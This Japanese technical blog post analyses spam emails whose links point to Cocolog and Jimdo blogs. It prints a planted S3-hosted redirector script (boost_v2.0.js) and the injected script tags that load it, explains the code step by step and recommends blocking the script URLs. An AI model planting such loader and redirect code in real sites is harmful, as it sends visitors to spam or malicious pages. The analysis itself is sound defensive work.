0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

正規っぽいアドレスに謎のパラメータが付いている迷惑メールを調べてみた

Last updated at Posted at 2022-05-01

初めに

本記事は技術的な調査を行った結果を記載しています。
標的とされたサイト自体に脆弱性があるのではなく、各サイトの機能を悪用しているものと認識しています。
なお、被害防止のため、一部URLには加工を入れています1

更新履歴

  • 2022年5月1日
    • 初版を「最近来ることがある「ココログのアドレスが入っている迷惑メール」を調べてみた」というタイトルで公開
  • 2022年5月6日
    • Jimdoでの事例を確認したため、タイトルを「正規っぽいアドレスに謎のパラメータが付いている迷惑メールを調べてみた」に変更
    • 上記に関連して表記を修正

今回の調査対象メール

From: vmhf7ip mailmaster@example.xyz
件名: ★message★補佐担当様⇒VIPゲスト様へ新しいメッセージが届きました。

新着メールが届いております♪
https://hogepiyo.cocolog-nifty.com/blog/?8u2qd9kit3go6l7za0ey+7uj5wgq+example+Xy%2Fhogehoge%2Fnp

配信停止ご希望はこちら
https://hogepiyo.cocolog-nifty.com/blog/?hevc7r8ftnsa56b0klu+a0o5xof+example+dFI8iZMDZe%2Fjv4

配信停止
https://docs.google.com/forms/d/e/1FAIpQLSceE_YDjF9xQfYBONdLYMyehT8ydi7_2RN34gBAJLH6Otr-ug/viewform?usp=pp_url&entry.66906085=hogepiyo&entry.1199342065=hogepiyo@example.com

東京オリンピック開催まであと20日余、国民はアスリートと健康の象徴を夢見れるか、、
2022年新成人に関する調査~政治への期待が8年ぶりに回復。海外への関心は軒並み低迷~/マクロミル調べ(ニュースレター)株式会社マクロミル(本社:東京都港区、代表執行役社長グローバルCEO:佐々木徹)は、データでひも解く最新トレンド情報をニュースレターとしてお届けしています。1月5日配信号のテーマは、「2022年新成人に関する調査」。当調査は2008年から開始し、今回で15年目の定点調査です。今年成人式を迎える500名にきいた夢や関心事、就職や世の中の潮流に対する考え、SNSやデジタル機

このメールの特徴として、

  • 正規っぽいサイトのアドレスが記載されている
    • 作りたてで中身がほぼない場合がほとんど
  • 配信停止フォームへのリンクがなぜか2つあり、そのうち1つはGoogleフォーム
    • これらの記載がない場合もあります
  • どこかのネット記事の引用が含まれている

という点が挙げられます。

サイトをチェックしてみる

上記アドレスを調査してみました。
その際には、謎のクエリストリング(?の後ろ)を消してアクセスしています。なぜかというと、そこに「メールアドレスを特定する文字列」が含まれている可能性があるためです。

その結果、怪しいコードにたどり着きました。
https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v2.0.js です。

boost_v2.0.jsのコード
boost_v2.0.js
var access_url = location.search;
if(access_url == ""){
  access_url = location.hash;
}
var tmp_url = access_url.replace(/[0-9a-z]/gi, '');
var split_key = tmp_url.charAt(1);
var split_url = access_url.split(split_key);
split_url_00 = split_url[0];
split_url_01 = split_url[1];
split_url_02 = split_url[2];
split_url_03 = split_url[3];
split_url_04 = split_url[4];
split_url_05 = split_url[5];
split_url_06 = split_url[6];
split_url_07 = split_url[7];
split_url_08 = split_url[8];
domain_no_1 = split_url_01.charAt(3);
domain_no_2 = split_url_01.charAt(4);
if(!isNaN(domain_no_2)){
  domain_id = domain_no_1+domain_no_2;
}else{
  domain_id = domain_no_1;
}
switch (domain_id){
 case '1':
  top_domain='com';
  break;
 case '2':
  top_domain='net';
  break;
 case '3':
  top_domain='jp';
  break;
 case '4':
  top_domain='work';
  break;
 case '5':
  top_domain='xyz';
  break;
 case '6':
  top_domain='space';
  break;
 case '7':
  top_domain='site';
  break;
 case '8':
  top_domain='fit';
  break;
 case '9':
  top_domain='fun';
  break;
 case '10':
  top_domain='icu';
  break;
 case '11':
  top_domain='monster';
  break;
 case '12':
  top_domain='online';
  break;
 case '13':
  top_domain='website';
  break;
 case '14':
  top_domain='buzz';
  break;
 case '15':
  top_domain='club';
  break;
 case '16':
  top_domain='cyou';
  break;
 case '17':
  top_domain='pw';
  break;
 case '18':
  top_domain='email';
  break;
 case '19':
  top_domain='life';
  break;
 case '20':
  top_domain='biz';
  break;
 default:
  top_domain='error';
}
split_url_02 = split_url_02.replace("%23", ".");
split_url_02 = split_url_02.replace("%23", ".");
split_url_02 = split_url_02.replace("%23", ".");
split_url_03 = decodeURIComponent(split_url_03);
split_url_04 = decodeURIComponent(split_url_04);
split_url_05 = decodeURIComponent(split_url_05);
split_url_06 = decodeURIComponent(split_url_06);
split_url_07 = decodeURIComponent(split_url_07);
split_url_08 = decodeURIComponent(split_url_08);
var sub_url = "";
if(split_url_03 !="undefined") sub_url += "/"+split_url_03;
if(split_url_04 !="undefined") sub_url += "/"+split_url_04;
if(split_url_05 !="undefined") sub_url += "/"+split_url_05;
if(split_url_06 !="undefined") sub_url += "/"+split_url_06;
if(split_url_07 !="undefined") sub_url += "/"+split_url_07;
if(split_url_08 !="undefined") sub_url += "/"+split_url_08;
if (top_domain !='error') {
  location.href = "http://"+split_url_02+"."+top_domain+sub_url;
}

このコードをこれから読み込んでみます。
URLは一番上の https://hogepiyo.cocolog-nifty.com/blog/?8u2qd9kit3go6l7za0ey+7uj5wgq+example+Xy%2Fhogehoge%2Fnp を使ってみます。

コードを読み込む

クエリストリングを取得する

まずはこの部分を見てみます。

var access_url = location.search;
if(access_url == ""){
  access_url = location.hash;
}

まずは、クエリストリング(?の後ろ、?を含む)を取得して、それがない場合は、フラグメント識別子(#の後ろ、#を含む)を取得しています。
ここで、 access_url?8u2qd9kit3go6l7za0ey+7uj5wgq+example+Xy%2Fhogehoge%2Fnp となります。

クエリストリングを分割していく

var tmp_url = access_url.replace(/[0-9a-z]/gi, '');
var split_key = tmp_url.charAt(1);
var split_url = access_url.split(split_key);
split_url_00 = split_url[0];
split_url_01 = split_url[1];
split_url_02 = split_url[2];
split_url_03 = split_url[3];
split_url_04 = split_url[4];
split_url_05 = split_url[5];
split_url_06 = split_url[6];
split_url_07 = split_url[7];
split_url_08 = split_url[8];

最初の行で、クエリストリングの英子文字と数字を除いた文字列を得ています。
今回の場合は、 tmp_url = '?+++%%' となります。

続いて、クエリストリングの分割に使用するキーを取得しています。
2行目になりますが、 charAt 関数で「2文字目」を取得しています。
この関数に渡すのは、「先頭文字を0とした、取得したい文字の位置」なので、「1」を指定すると「2文字目」を取得する動作となります。
つまりここで、 split_key = '+' となります。

そして3行目で実際に分割を実施し、4行目以降で変数に分割結果を代入しています。
ここで設定された変数は下記の通りです。

変数名
tmp_url ?+++%%
split_key +
split_url_00 8u2qd9kit3go6l7za0ey
split_url_01 7uj5wgq
split_url_02 example
split_url_03 Xy%2Fhogehoge%2Fnp

TLDを決定する

domain_no_1 = split_url_01.charAt(3);
domain_no_2 = split_url_01.charAt(4);
if(!isNaN(domain_no_2)){
  domain_id = domain_no_1+domain_no_2;
}else{
  domain_id = domain_no_1;
}
// これ以降は後述します

引き続き、 charAt で文字を取得します。

変数名
domain_no_1 5
domain_no_2 w

domain_no_2 は数値として認識できない文字列のため、 isNaN(domain_no_2)true を返します。
isNaN関数は、渡されたのが数値として判断できない場合はtrueを返します)

故に、 domain_id = '5' となります。

後半のコードですが、caseステートメントでTLDを決定しています。
該当部分だけ抜き出すと…

switch (domain_id){
 case '5':
  top_domain='xyz';
  break;
 default:
  top_domain='error';
}

となり、 top_domain = 'xyz' となります。

URLをデコードする

split_url_02 = split_url_02.replace("%23", ".");
split_url_02 = split_url_02.replace("%23", ".");
split_url_02 = split_url_02.replace("%23", ".");
split_url_03 = decodeURIComponent(split_url_03);
split_url_04 = decodeURIComponent(split_url_04);
split_url_05 = decodeURIComponent(split_url_05);
split_url_06 = decodeURIComponent(split_url_06);
split_url_07 = decodeURIComponent(split_url_07);
split_url_08 = decodeURIComponent(split_url_08);

最初の3行では split_url_02 に対して処理をしています。
今、split_url_02 = 'example'なので、この3行ではこの変数に関しては変化なしです。

4行目以降は decodeURIComponent を使ってURLをデコードしています。

変数名 処理前の値 処理後の値
split_url_03 Xy%2Fhogehoge%2Fnp Xy/hogehoge/np

URLを組み立てて遷移させる

var sub_url = "";
if(split_url_03 !="undefined") sub_url += "/"+split_url_03;
if(split_url_04 !="undefined") sub_url += "/"+split_url_04;
if(split_url_05 !="undefined") sub_url += "/"+split_url_05;
if(split_url_06 !="undefined") sub_url += "/"+split_url_06;
if(split_url_07 !="undefined") sub_url += "/"+split_url_07;
if(split_url_08 !="undefined") sub_url += "/"+split_url_08;
// これ以降は後述します

まずはsub_urlを組み立てていきます。
今回はsplit_url_03しかありませんので、sub_url = "/Xy/hogehoge/np"となります。

if (top_domain !='error') {
  location.href = "http://"+split_url_02+"."+top_domain+sub_url;
}

最後にURLを組み立てます。
関係する変数はこんな感じになっています。

変数名
split_url_02 example
top_domain xyz
sub_url /Xy/hogehoge/np

組み立てたURLは http://example.xyz/Xy/hogehoge/np となり、このアドレスに遷移させて(location.hrefをセットする)このスクリプトの処理が完了します。

対策

まずは基本的な部分から言いますと、「不審なメールのURLにはゼッタイにアクセスしない」というのが鉄則です。
「配信停止」のリンクに惑わされてはいけません。そのURLに「メールアドレスを識別するための文字列」が含まれているかもしれないからです。
例えば、メールアドレスに対して次の符号を割り当てたとします。

メールアドレス 符号
hoge1@example.com nweitgbweoobgi
hoge2@example.com newugoewgewogw

ここで、 hoge1@example.com 宛に、URL http://example.com/nweitgbweoobgi を含むメールを送信します。
そして、hoge1@example.comがこのURLへアクセスした場合、符号nweitgbweoobgiから、

  • hoge1@example.comに宛てて送信したメールのアドレスへのアクセスがあった
  • 故にhoge1@example.comにメールが送信された

ということがわかります。
つまり、「このメールアドレスは有効だ」というのを通知してしまうことになり、配信が停止されるどころかさらにメールが届く可能性もあります。

後は、攻撃の実例を収集して分析するのも大事です。
今回の分析で、「サイトに不正なコードを仕込んで、特定のURLでのアクセスがあった場合に遷移させる」手法がとられていることが判明しました。
仕込まれていた不正なコードは下記の通りです。

ココログの例
	<script type="text/javascript">																																		
var script = document.createElement('script');																																		
script.type = 'text/javascript';																																		
script.src = "https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v2.0.js?p="+(new Date());																																		
var element = document.head;																																		
element.appendChild(script);																																		
</script>																																		
<script type="text/javascript">																																		
var script = document.createElement('script');																																		
script.type = 'text/javascript';																																		
script.src = "https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v1.0.js?p="+(new Date());																																		
var element = document.head;																																		
element.appendChild(script);																																		
</script>																																		
Jimdoの例
<script type="text/javascript" src="https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v2.0.js"></script>

<script type="text/javascript" src="https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v1.0.js"></script>

つまり、任意のコンテンツブロッカーで、次の2つのURLへのアクセスをブロックしてしまえば、今回の事例ではノーダメージとなります。

今回は boost_v2.0.js に絞って分析してきましたが、 boost_v1.0.js も、クエリストリングを見て遷移させるコードでした。
両方のブロックで被害を食い止められるのではないかと思います。

  1. example.comは、RFC2606で定められている例示用ドメインの1つです。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?